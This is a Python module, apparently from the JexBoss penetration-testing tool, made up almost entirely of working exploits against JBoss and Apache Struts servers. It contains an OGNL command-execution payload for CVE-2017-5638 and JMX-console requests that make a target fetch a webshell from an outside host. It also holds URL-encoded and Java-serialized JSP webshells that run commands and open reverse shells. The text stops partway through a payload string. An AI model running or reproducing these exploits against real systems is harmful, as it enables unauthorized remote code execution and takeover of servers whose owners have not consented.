# -*- coding: utf-8 -*-
"""
Module to group exploits of the JexBoss
https://github.com/joaomatosf/jexboss

Copyright 2013 João Filho Matos Figueiredo

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""

import jexboss
from time import sleep
from random import randint
import urllib
import base64, gzip, zlib
from sys import version_info
from io import BytesIO
if version_info[0] >= 3:
    from urllib.parse import quote
import socket

RED = '\x1b[91m'
RED1 = '\033[31m'
BLUE = '\033[94m'
GREEN = '\033[32m'
BOLD = '\033[1m'
NORMAL = '\033[0m'
ENDC = '\033[0m'


global gl_http_pool


def set_http_pool(pool):
    """
    Configure pool http
    :param pool: http pool
    """
    global gl_http_pool
    gl_http_pool = pool


def get_successfully(url, path):
    """
    Test if a GET to a URL is successful
    :param url: The base URL
    :param path: The URL path
    :return: The HTTP status code
    """
    sleep(5)
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Connection": "keep-alive",
               "User-Agent": jexboss.get_random_user_agent()}
    r = gl_http_pool.request('GET', url + path, redirect=False, headers=headers)
    result = r.status
    if result == 404:
        sleep(7)
        r = gl_http_pool.request('GET', url + path, redirect=False, headers=headers)
        result = r.status
    return result


def exploit_struts2_jakarta_multipart(url,cmd, cookies):
    """
    Exploit Jakarta Multipart parser in Apache Struts (CVE-2017-5638)
    Exploit improved from available in metasploit. This version works against Windows with Eastern language.
    :param url: The url to exploi
    :param cmd: Command to execute
    :return: output of executed command
    """
    cmd = cmd.replace('  ', ' ')
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Connection": "close",
               "User-Agent": jexboss.get_random_user_agent()}

    content_type = ("%%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
                    "(#_memberAccess?(#_memberAccess=#dm):"
                    "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
                    "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
                    "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())."
                    "(#context.setMemberAccess(#dm))))."
                    "(#gift='%s')."
                    "(#isnix=(@java.lang.System@getProperty('file.separator').equals(\"/\")))."
                    "(#giftarray=(#isnix?{'/bin/bash','-c',#gift}:{'cmd.exe','/c',#gift}))."
                    "(#p=new java.lang.ProcessBuilder(#giftarray))."
                    "(#p.redirectErrorStream(true)).(#process=#p.start())."
                    "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
                    "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
                    "(#ros.flush())}" %cmd)

    headers['Content-Type'] = content_type
    if cookies is not None: headers['Cookie'] = cookies
    r = gl_http_pool.request('GET', url, redirect=True, headers=headers)

    if r.status == 404:
        headers['Content-Type'] = 'text/html'
        r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
        if r.status == 200:
            return "   Could not get command output. You need to set up an Authoritative DNS and try to get the\n" \
                   "   output of the commands via DNS covert channel.\n"
    return str(r.data)


def exploit_struts2_jakarta_multipart_v2(url,cmd, cookies):
    """
    # FIX: this is not ready yet...
    Exploit Jakarta Multipart parser in Apache Struts (CVE-2017-5638)
    Exploit improved from @frohoff version (https://gist.github.com/frohoff/a3e24764561c0c18b6270805140e7600#file-reqnull-txt)
    :param url: The url to exploi
    :param cmd: Command to execute
    :return: output of executed command
    """
    cmd = cmd.replace('  ', ' ')
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Connection": "close",
               "User-Agent": jexboss.get_random_user_agent(),
               "Content-Type": "multipart/form-data; boundary=e85e9b09934f4b9daaa7ff6352cdf2df"}
'''
    payload = (b"%%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
                    "(#_memberAccess?(#_memberAccess=#dm):"
                    "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
                    "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
                    "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())."
                    "(#context.setMemberAccess(#dm))))."
                    "(#gift='%s')."
                    "(#isnix=(@java.lang.System@getProperty('file.separator').equals(\"/\")))."
                    "(#giftarray=(#isnix?{'/bin/bash','-c',#gift}:{'cmd.exe','/c',#gift}))."
                    "(#p=new java.lang.ProcessBuilder(#giftarray))."
                    "(#p.redirectErrorStream(true)).(#process=#p.start())."
                    "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
                    "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
                    "(#ros.flush())}" %cmd)

    body = "--e85e9b09934f4b9daaa7ff6352cdf2df\n"
    body+="Content-Disposition: form-data; name=\"form\"; filename=\"%s\"\n"%payload
    body+="Content-Type: application/octet-stream\n\n"
    body+="jexboss\n"
    body+="--e85e9b09934f4b9daaa7ff6352cdf2df--\n"

    if cookies is not None: headers['Cookie'] = cookies

    r = gl_http_pool.request('POST', url, redirect=True, headers=headers, body=body)

    return str(r.data)
'''

def exploit_jmx_console_main_deploy(url):
    """
    Exploit MainDeployer to deploy a JSP shell.
    Tested and working in JBoss 4, 6. (bug in JBoss 5).
    /jmx-console/HtmlAdaptor
    :param url: The url to exploit
    :return: The HTTP status code
    """
    if not 'http' in url[:4]:
        url = "http://"+url

    jsp = "http://www.joaomatosf.com/rnp/jexws4.war"
    payload = ("/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service="
               "MainDeployer&methodIndex=19&arg0="+jsp)
    jexboss.print_and_flush(GREEN + "\n * Info: This exploit will force the server to deploy the webshell " +
          "\n   available at: " + jsp + ENDC)

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Connection": "keep-alive",
               "User-Agent": jexboss.get_random_user_agent()}
    gl_http_pool.request('HEAD', url + payload, redirect=False, headers=headers)
    return get_successfully(url, "/jexws4/jexws4.jsp")


def exploit_jmx_console_file_repository(url):
    """
    Exploit DeploymentFileRepository to deploy a JSP shell
    Tested and working in JBoss 4, 5 and 6.
    /jmx-console/HtmlAdaptor
    :param url: The URL to exploit
    :return: The HTTP status code
    """
    jsp = ("%3C%25%40%20%70%61%67%65%20%69%6D%70%6F%72%74%3D%22%6A%61%76%61%2E%6C%61%6E%67%2E%2A%2C%6A%61"
           "%76%61%2E%75%74%69%6C%2E%2A%2C%6A%61%76%61%2E%69%6F%2E%2A%2C%6A%61%76%61%2E%6E%65%74%2E%2A%22%20"
           "%70%61%67%65%45%6E%63%6F%64%69%6E%67%3D%22%55%54%46%2D%38%22%25%3E%20%3C%70%72%65%3E%20%3C%25%20"
           "%63%6C%61%73%73%20%72%76%20%65%78%74%65%6E%64%73%20%54%68%72%65%61%64%7B%49%6E%70%75%74%53%74%72"
           "%65%61%6D%20%69%73%3B%4F%75%74%70%75%74%53%74%72%65%61%6D%20%6F%73%3B%72%76%28%49%6E%70%75%74%53"
           "%74%72%65%61%6D%20%69%73%2C%4F%75%74%70%75%74%53%74%72%65%61%6D%20%6F%73%29%7B%74%68%69%73%2E%69"
           "%73%3D%69%73%3B%74%68%69%73%2E%6F%73%3D%6F%73%3B%7D%70%75%62%6C%69%63%20%76%6F%69%64%20%72%75%6E"
           "%28%29%7B%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%69%6E%3D%6E%75%6C%6C%3B%42%75%66%66%65%72"
           "%65%64%57%72%69%74%65%72%20%6F%75%74%3D%6E%75%6C%6C%3B%74%72%79%7B%69%6E%3D%6E%65%77%20%42%75%66"
           "%66%65%72%65%64%52%65%61%64%65%72%28%6E%65%77%20%49%6E%70%75%74%53%74%72%65%61%6D%52%65%61%64%65"
           "%72%28%74%68%69%73%2E%69%73%29%29%3B%6F%75%74%3D%6E%65%77%20%42%75%66%66%65%72%65%64%57%72%69%74"
           "%65%72%28%6E%65%77%20%4F%75%74%70%75%74%53%74%72%65%61%6D%57%72%69%74%65%72%28%74%68%69%73%2E%6F"
           "%73%29%29%3B%63%68%61%72%20%62%5B%5D%3D%6E%65%77%20%63%68%61%72%5B%38%31%39%32%5D%3B%69%6E%74%20"
           "%6C%3B%77%68%69%6C%65%28%28%6C%3D%69%6E%2E%72%65%61%64%28%62%2C%30%2C%62%2E%6C%65%6E%67%74%68%29"
           "%29%3E%30%29%7B%6F%75%74%2E%77%72%69%74%65%28%62%2C%30%2C%6C%29%3B%6F%75%74%2E%66%6C%75%73%68%28"
           "%29%3B%7D%7D%63%61%74%63%68%28%45%78%63%65%70%74%69%6F%6E%20%65%29%7B%7D%7D%7D%53%74%72%69%6E%67"
           "%20%73%68%3D%6E%75%6C%6C%3B%69%66%28%72%65%71%75%65%73%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72"
           "%28%22%70%70%70%22%29%21%3D%6E%75%6C%6C%29%7B%73%68%3D%72%65%71%75%65%73%74%2E%67%65%74%50%61%72"
           "%61%6D%65%74%65%72%28%22%70%70%70%22%29%3B%7D%65%6C%73%65%20%69%66%28%72%65%71%75%65%73%74%2E%67"
           "%65%74%48%65%61%64%65%72%28%22%58%2D%4A%45%58%22%29%21%3D%20%6E%75%6C%6C%29%7B%73%68%3D%72%65%71"
           "%75%65%73%74%2E%67%65%74%48%65%61%64%65%72%28%22%58%2D%4A%45%58%22%29%3B%7D%69%66%28%73%68%20%21"
           "%3D%20%6E%75%6C%6C%29%7B%72%65%73%70%6F%6E%73%65%2E%73%65%74%43%6F%6E%74%65%6E%74%54%79%70%65%28"
           "%22%74%65%78%74%2F%68%74%6D%6C%22%29%3B%42%75%66%66%65%72%65%64%52%65%61%64%65%72%20%62%72%3D%6E"
           "%75%6C%6C%3B%53%74%72%69%6E%67%20%6C%68%63%3D%28%6E%65%77%20%44%61%74%65%28%29%2E%74%6F%53%74%72"
           "%69%6E%67%28%29%2E%73%70%6C%69%74%28%22%3A%22%29%5B%30%5D%2B%22%68%2E%6C%6F%67%22%29%2E%72%65%70"
           "%6C%61%63%65%41%6C%6C%28%22%20%22%2C%22%2D%22%29%3B%74%72%79%7B%69%66%28%72%65%71%75%65%73%74%2E"
           "%67%65%74%48%65%61%64%65%72%28%22%6E%6F%2D%63%68%65%63%6B%2D%75%70%64%61%74%65%73%22%29%3D%3D%6E"
           "%75%6C%6C%29%7B%48%74%74%70%55%52%4C%43%6F%6E%6E%65%63%74%69%6F%6E%20%63%3D%28%48%74%74%70%55%52"
           "%4C%43%6F%6E%6E%65%63%74%69%6F%6E%29%6E%65%77%20%55%52%4C%28%22%68%74%74%70%3A%2F%2F%77%65%62%73"
           "%68%65%6C%6C%2E%6A%65%78%62%6F%73%73%2E%6E%65%74%2F%6A%73%70%5F%76%65%72%73%69%6F%6E%2E%74%78%74"
           "%22%29%2E%6F%70%65%6E%43%6F%6E%6E%65%63%74%69%6F%6E%28%29%3B%63%2E%73%65%74%52%65%71%75%65%73%74"
           "%50%72%6F%70%65%72%74%79%28%22%55%73%65%72%2D%41%67%65%6E%74%22%2C%72%65%71%75%65%73%74%2E%67%65"
           "%74%48%65%61%64%65%72%28%22%48%6F%73%74%22%29%2B%22%3C%2D%22%2B%72%65%71%75%65%73%74%2E%67%65%74"
           "%52%65%6D%6F%74%65%41%64%64%72%28%29%29%3B%69%66%28%21%6E%65%77%20%46%69%6C%65%28%22%63%68%65%63"
           "%6B%5F%22%2B%6C%68%63%29%2E%65%78%69%73%74%73%28%29%29%7B%50%72%69%6E%74%57%72%69%74%65%72%20%77"
           "%3D%6E%65%77%20%50%72%69%6E%74%57%72%69%74%65%72%28%22%63%68%65%63%6B%5F%22%2B%6C%68%63%29%3B%77"
           "%2E%63%6C%6F%73%65%28%29%3B%62%72%3D%6E%65%77%20%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6E"
           "%65%77%20%49%6E%70%75%74%53%74%72%65%61%6D%52%65%61%64%65%72%28%63%2E%67%65%74%49%6E%70%75%74%53"
           "%74%72%65%61%6D%28%29%29%29%3B%53%74%72%69%6E%67%20%6C%76%3D%62%72%2E%72%65%61%64%4C%69%6E%65%28"
           "%29%2E%73%70%6C%69%74%28%22%20%22%29%5B%31%5D%3B%69%66%28%21%6C%76%2E%65%71%75%61%6C%73%28%22%34"
           "%22%29%29%7B%6F%75%74%2E%70%72%69%6E%74%28%22%4E%65%77%20%76%65%72%73%69%6F%6E%2E%20%50%6C%65%61"
           "%73%65%20%75%70%64%61%74%65%21%22%29%3B%7D%7D%65%6C%73%65%20%69%66%28%73%68%2E%69%6E%64%65%78%4F"
           "%66%28%22%69%64%22%29%21%3D%2D%31%7C%7C%73%68%2E%69%6E%64%65%78%4F%66%28%22%69%70%63%6F%6E%66%69"
           "%67%22%29%21%3D%2D%31%29%7B%63%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29%3B%7D%7D%7D%63"
           "%61%74%63%68%28%45%78%63%65%70%74%69%6F%6E%20%65%29%7B%6F%75%74%2E%70%72%69%6E%74%6C%6E%28%22%46"
           "%61%69%6C%65%64%20%74%6F%20%63%68%65%63%6B%20%66%6F%72%20%75%70%64%61%74%65%73%22%29%3B%7D%74%72"
           "%79%7B%50%72%6F%63%65%73%73%20%70%3B%62%6F%6F%6C%65%61%6E%20%6E%69%78%3D%74%72%75%65%3B%69%66%28"
           "%21%53%79%73%74%65%6D%2E%67%65%74%50%72%6F%70%65%72%74%79%28%22%66%69%6C%65%2E%73%65%70%61%72%61"
           "%74%6F%72%22%29%2E%65%71%75%61%6C%73%28%22%2F%22%29%29%7B%6E%69%78%3D%66%61%6C%73%65%3B%7D%69%66"
           "%28%73%68%2E%69%6E%64%65%78%4F%66%28%22%6A%65%78%72%65%6D%6F%74%65%3D%22%29%21%3D%2D%31%29%7B%53"
           "%6F%63%6B%65%74%20%73%63%3D%6E%65%77%20%53%6F%63%6B%65%74%28%73%68%2E%73%70%6C%69%74%28%22%3D%22"
           "%29%5B%31%5D%2E%73%70%6C%69%74%28%22%3A%22%29%5B%30%5D%2C%49%6E%74%65%67%65%72%2E%70%61%72%73%65"
           "%49%6E%74%28%73%68%2E%73%70%6C%69%74%28%22%3A%22%29%5B%31%5D%29%29%3B%69%66%28%6E%69%78%29%7B%73"
           "%68%3D%22%2F%62%69%6E%2F%62%61%73%68%22%3B%7D%65%6C%73%65%7B%73%68%3D%22%63%6D%64%2E%65%78%65%22"
           "%3B%7D%70%3D%52%75%6E%74%69%6D%65%2E%67%65%74%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%73%68"
           "%29%3B%28%6E%65%77%20%72%76%28%70%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29%2C%73%63%2E"
           "%67%65%74%4F%75%74%70%75%74%53%74%72%65%61%6D%28%29%29%29%2E%73%74%61%72%74%28%29%3B%28%6E%65%77"
           "%20%72%76%28%73%63%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29%2C%70%2E%67%65%74%4F%75%74"
           "%70%75%74%53%74%72%65%61%6D%28%29%29%29%2E%73%74%61%72%74%28%29%3B%7D%65%6C%73%65%7B%69%66%28%6E"
           "%69%78%29%7B%70%3D%52%75%6E%74%69%6D%65%2E%67%65%74%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28"
           "%6E%65%77%20%53%74%72%69%6E%67%5B%5D%7B%22%2F%62%69%6E%2F%62%61%73%68%22%2C%22%2D%63%22%2C%73%68"
           "%7D%29%3B%7D%65%6C%73%65%7B%70%3D%52%75%6E%74%69%6D%65%2E%67%65%74%52%75%6E%74%69%6D%65%28%29%2E"
           "%65%78%65%63%28%22%63%6D%64%2E%65%78%65%20%2F%43%20%22%2B%73%68%29%3B%7D%62%72%3D%6E%65%77%20%42"
           "%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6E%65%77%20%49%6E%70%75%74%53%74%72%65%61%6D%52%65%61"
           "%64%65%72%28%70%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29%29%29%3B%53%74%72%69%6E%67%20"
           "%64%3D%62%72%2E%72%65%61%64%4C%69%6E%65%28%29%3B%77%68%69%6C%65%28%64%20%21%3D%20%6E%75%6C%6C%29"
           "%7B%6F%75%74%2E%70%72%69%6E%74%6C%6E%28%64%29%3B%64%3D%62%72%2E%72%65%61%64%4C%69%6E%65%28%29%3B"
           "%7D%7D%7D%63%61%74%63%68%28%45%78%63%65%70%74%69%6F%6E%20%65%29%7B%6F%75%74%2E%70%72%69%6E%74%6C"
           "%6E%28%22%55%6E%6B%6E%6F%77%6E%20%63%6F%6D%6D%61%6E%64%22%29%3B%7D%7D%25%3E")

    payload = ("/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service="
               "DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0="
               "jexws4.war&argType=java.lang.String&arg1=jexws4&argType=java.lang.St"
               "ring&arg2=.jsp&argType=java.lang.String&arg3=" + jsp + "&argType=boolean&arg4=True")

    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Connection": "keep-alive",
               "User-Agent": jexboss.get_random_user_agent()}
    gl_http_pool.request('HEAD', url + payload, redirect=False, headers=headers)
    return get_successfully(url, "/jexws4/jexws4.jsp")


def exploit_jmx_invoker_file_repository(url, version):
    """
    Exploits the JMX invoker
    tested and works in JBoss 4, 5
    MainDeploy, shell in data
    # /invoker/JMXInvokerServlet
    :param url: The URL to exploit
    :return:
    """
    payload = ("\xAC\xED\x00\x05\x73\x72\x00\x29\x6F\x72\x67\x2E\x6A\x62\x6F\x73\x73\x2E\x69\x6E\x76\x6F\x63"
           "\x61\x74\x69\x6F\x6E\x2E\x4D\x61\x72\x73\x68\x61\x6C\x6C\x65\x64\x49\x6E\x76\x6F\x63\x61\x74\x69"
           "\x6F\x6E\xF6\x06\x95\x27\x41\x3E\xA4\xBE\x0C\x00\x00\x78\x70\x70\x77\x08\x78\x94\x98\x47\xC1\xD0"
           "\x53\x87\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12"
           "\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x78\x72\x00\x10\x6A\x61"
           "\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00"
           "\x00\x78\x70")
    payload += ("\xE3\x2C\x60\xE6") if version == 0 else ("\x26\x95\xBE\x0A")
    payload += (
            "\x73\x72\x00\x24\x6F\x72\x67\x2E\x6A\x62\x6F\x73\x73\x2E\x69\x6E\x76"
           "\x6F\x63\x61\x74\x69\x6F\x6E\x2E\x4D\x61\x72\x73\x68\x61\x6C\x6C\x65\x64\x56\x61\x6C\x75\x65\xEA"
           "\xCC\xE0\xD1\xF4\x4A\xD0\x99\x0C\x00\x00\x78\x70\x7A\x00\x00\x04\x00\x00\x00\x09\xD3\xAC\xED\x00"
           "\x05\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B"
           "\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00\x1B\x6A\x61\x76"
           "\x61\x78\x2E\x6D\x61\x6E\x61\x67\x65\x6D\x65\x6E\x74\x2E\x4F\x62\x6A\x65\x63\x74\x4E\x61\x6D\x65"
           "\x0F\x03\xA7\x1B\xEB\x6D\x15\xCF\x03\x00\x00\x78\x70\x74\x00\x2C\x6A\x62\x6F\x73\x73\x2E\x61\x64"
           "\x6D\x69\x6E\x3A\x73\x65\x72\x76\x69\x63\x65\x3D\x44\x65\x70\x6C\x6F\x79\x6D\x65\x6E\x74\x46\x69"
           "\x6C\x65\x52\x65\x70\x6F\x73\x69\x74\x6F\x72\x79\x78\x74\x00\x05\x73\x74\x6F\x72\x65\x75\x71\x00"
           "\x7E\x00\x00\x00\x00\x00\x05\x74\x00\x0B\x6A\x65\x78\x69\x6E\x76\x34\x2E\x77\x61\x72\x74\x00\x07"
           "\x6A\x65\x78\x69\x6E\x76\x34\x74\x00\x04\x2E\x6A\x73\x70\x74\x08\x98\x3C\x25\x40\x20\x70\x61\x67"
           "\x65\x20\x69\x6D\x70\x6F\x72\x74\x3D\x22\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x2A\x2C\x6A\x61"
           "\x76\x61\x2E\x75\x74\x69\x6C\x2E\x2A\x2C\x6A\x61\x76\x61\x2E\x69\x6F\x2E\x2A\x2C\x6A\x61\x76\x61"
           "\x2E\x6E\x65\x74\x2E\x2A\x22\x20\x70\x61\x67\x65\x45\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x55\x54"
           "\x46\x2D\x38\x22\x25\x3E\x20\x3C\x70\x72\x65\x3E\x20\x3C\x25\x20\x63\x6C\x61\x73\x73\x20\x72\x76"
           "\x20\x65\x78\x74\x65\x6E\x64\x73\x20\x54\x68\x72\x65\x61\x64\x7B\x49\x6E\x70\x75\x74\x53\x74\x72"
           "\x65\x61\x6D\x20\x69\x73\x3B\x4F\x75\x74\x70\x75\x74\x53\x74\x72\x65\x61\x6D\x20\x6F\x73\x3B\x72"
           "\x76\x28\x49\x6E\x70\x75\x74\x53\x74\x72\x65\x61\x6D\x20\x69\x73\x2C\x4F\x75\x74\x70\x75\x74\x53"
           "\x74\x72\x65\x61\x6D\x20\x6F\x73\x29\x7B\x74\x68\x69\x73\x2E\x69\x73\x3D\x69\x73\x3B\x74\x68\x69"
           "\x73\x2E\x6F\x73\x3D\x6F\x73\x3B\x7D\x70\x75\x62\x6C\x69\x63\x20\x76\x6F\x69\x64\x20\x72\x75\x6E"
           "\x28\x29\x7B\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61\x64\x65\x72\x20\x69\x6E\x3D\x6E\x75\x6C"
           "\x6C\x3B\x42\x75\x66\x66\x65\x72\x65\x64\x57\x72\x69\x74\x65\x72\x20\x6F\x75\x74\x3D\x6E\x75\x6C"
           "\x6C\x3B\x74\x72\x79\x7B\x69\x6E\x3D\x6E\x65\x77\x20\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61"
           "\x64\x65\x72\x28\x6E\x65\x77\x20\x49\x6E\x70\x75\x74\x53\x74\x72\x65\x61\x6D\x52\x65\x61\x64\x65"
           "\x72\x28\x74\x68\x69\x73\x2E\x69\x73\x29\x29\x3B\x6F\x75\x74\x3D\x6E\x65\x77\x20\x42\x75\x66\x66"
           "\x65\x72\x65\x64\x57\x72\x69\x74\x65\x72\x28\x6E\x65\x77\x20\x4F\x75\x74\x70\x75\x74\x53\x74\x72"
           "\x65\x61\x6D\x57\x72\x69\x74\x65\x72\x28\x74\x68\x69\x73\x2E\x6F\x73\x29\x29\x3B\x63\x68\x61\x72"
           "\x20\x62\x5B\x5D\x3D\x6E\x65\x77\x20\x63\x68\x61\x72\x5B\x38\x31\x39\x32\x5D\x3B\x69\x6E\x74\x20"
           "\x6C\x3B\x77\x68\x69\x6C\x65\x28\x28\x6C\x3D\x69\x6E\x2E\x72\x65\x61\x64\x28\x62\x2C\x30\x2C\x62"
           "\x2E\x6C\x65\x6E\x67\x74\x68\x29\x29\x3E\x30\x29\x7B\x6F\x75\x74\x2E\x77\x72\x69\x74\x65\x28\x62"
           "\x2C\x30\x2C\x6C\x29\x3B\x6F\x75\x74\x2E\x66\x6C\x75\x73\x68\x28\x29\x3B\x7D\x7D\x63\x61\x74\x63"
           "\x68\x28\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x20\x65\x29\x7B\x7D\x7D\x7D\x53\x74\x72\x69\x6E\x67"
           "\x20\x73\x68\x3D\x6E\x75\x6C\x6C\x3B\x69\x66\x28\x72\x65\x71\x75\x65\x73\x74\x2E\x67\x65\x74\x50"
           "\x61\x72\x61\x6D\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x21\x3D\x6E\x75\x6C\x6C\x29\x7B\x73"
           "\x68\x3D\x72\x65\x71\x75\x65\x73\x74\x2E\x67\x65\x74\x50\x61\x72\x61\x6D\x65\x74\x65\x72\x28\x22"
           "\x70\x70\x70\x22\x29\x3B\x7D\x65\x6C\x73\x65\x20\x69\x66\x28\x72\x65\x71\x75\x65\x73\x74\x2E\x67"
           "\x65\x74\x48\x65\x61\x64\x65\x72\x28\x22\x58\x2D\x4A\x45\x58\x22\x29\x21\x3D\x20\x6E\x75\x6C\x6C"
           "\x29\x7B\x73\x68\x3D\x72\x65\x71\x75\x65\x73\x74\x2E\x67\x65\x74\x48\x65\x61\x64\x65\x72\x28\x22"
           "\x58\x2D\x4A\x45\x58\x22\x29\x3B\x7D\x69\x66\x28\x73\x68\x20\x21\x3D\x20\x6E\x75\x6C\x6C\x29\x7B"
           "\x72\x65\x73\x70\x6F\x6E\x73\x65\x2E\x73\x65\x74\x43\x6F\x6E\x74\x65\x6E\x74\x54\x79\x70\x65\x28"
           "\x22\x74\x65\x78\x74\x2F\x68\x74\x6D\x6C\x22\x29\x3B\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61"
           "\x64\x65\x72\x20\x62\x72\x3D\x6E\x75\x6C\x6C\x3B\x53\x74\x72\x69\x6E\x67\x20\x6C\x68\x63\x3D\x28"
           "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29\x2E\x74\x6F\x53\x74\x72\x69\x6E\x67\x28\x29\x2E\x73\x70"
           "\x6C\x69\x74\x28\x22\x3A\x22\x29\x5B\x30\x5D\x2B\x22\x68\x2E\x6C\x6F\x67\x22\x29\x2E\x72\x65\x70"
           "\x6C\x61\x63\x65\x41\x6C\x6C\x28\x22\x20\x22\x2C\x22\x2D\x22\x29\x3B\x74\x72\x79\x7B\x69\x66\x28"
           "\x72\x65\x71\x75\x65\x73\x74\x2E\x67\x7A\x00\x00\x04\x00\x65\x74\x48\x65\x61\x64\x65\x72\x28\x22"
           "\x6E\x6F\x2D\x63\x68\x65\x63\x6B\x2D\x75\x70\x64\x61\x74\x65\x73\x22\x29\x3D\x3D\x6E\x75\x6C\x6C"
           "\x29\x7B\x48\x74\x74\x70\x55\x52\x4C\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x20\x63\x3D\x28\x48"
           "\x74\x74\x70\x55\x52\x4C\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x29\x6E\x65\x77\x20\x55\x52\x4C"
           "\x28\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x65\x62\x73\x68\x65\x6C\x6C\x2E\x6A\x65\x78\x62\x6F\x73"
           "\x73\x2E\x6E\x65\x74\x2F\x6A\x73\x70\x5F\x76\x65\x72\x73\x69\x6F\x6E\x2E\x74\x78\x74\x22\x29\x2E"
           "\x6F\x70\x65\x6E\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E\x28\x29\x3B\x63\x2E\x73\x65\x74\x52\x65"
           "\x71\x75\x65\x73\x74\x50\x72\x6F\x70\x65\x72\x74\x79\x28\x22\x55\x73\x65\x72\x2D\x41\x67\x65\x6E"
           "\x74\x22\x2C\x72\x65\x71\x75\x65\x73\x74\x2E\x67\x65\x74\x48\x65\x61\x64\x65\x72\x28\x22\x48\x6F"
           "\x73\x74\x22\x29\x2B\x22\x3C\x2D\x22\x2B\x72\x65\x71\x75\x65\x73\x74\x2E\x67\x65\x74\x52\x65\x6D"
           "\x6F\x74\x65\x41\x64\x64\x72\x28\x29\x29\x3B\x69\x66\x28\x21\x6E\x65\x77\x20\x46\x69\x6C\x65\x28"
           "\x22\x63\x68\x65\x63\x6B\x5F\x22\x2B\x6C\x68\x63\x29\x2E\x65\x78\x69\x73\x74\x73\x28\x29\x29\x7B"
           "\x50\x72\x69\x6E\x74\x57\x72\x69\x74\x65\x72\x20\x77\x3D\x6E\x65\x77\x20\x50\x72\x69\x6E\x74\x57"
           "\x72\x69\x74\x65\x72\x28\x22\x63\x68\x65\x63\x6B\x5F\x22\x2B\x6C\x68\x63\x29\x3B\x77\x2E\x63\x6C"
           "\x6F\x73\x65\x28\x29\x3B\x62\x72\x3D\x6E\x65\x77\x20\x42\x75\x66\x66\x65\x72\x65\x64\x52\x65\x61"
           "\x64\x65\x72\x28\x6E\x65\x77\x20\x49\x6E\x70\x75\x74\x53\x74\x72\x65\x61\x6D\x52\x65\x61\x64\x65"
           "\x72\x28\x63\x2E\x67\x65\x74\x49\x6E\x70\x75\x74\x53\x74\x72\x65\x61\x6D\x28\x29\x29\x29\x3B\x53"
           "\x74\x72\x69\x6E\x67\x20\x6C\x76\x3D\x62\x72\x2E\x72\x65\x61\x64\x4C\x69\x6E\x65\x28\x29\x2E\x73"
           "\x70\x6C\x69\x74\x28\x22\x20\x22\x29\x5B\x31\x5D\x3B\x69\x66\x28\x21\x6C\x76\x2E\x65\x71\x75\x61"
           "\x6C\x73\x28\x22\x34\x22\x29\x29\x7B\x6F\x75\x74\x2E\x70\x72\x69\x6E\x74\x28\x22\x4E\x65\x77\x20"
           "\x76\x65\x72\x73\x69\x6F\x6E\x2E\x20\x50\x6C\x65\x61\x73\x65\x20\x75\x70\x64\x61\x74\x65\x21\x22"
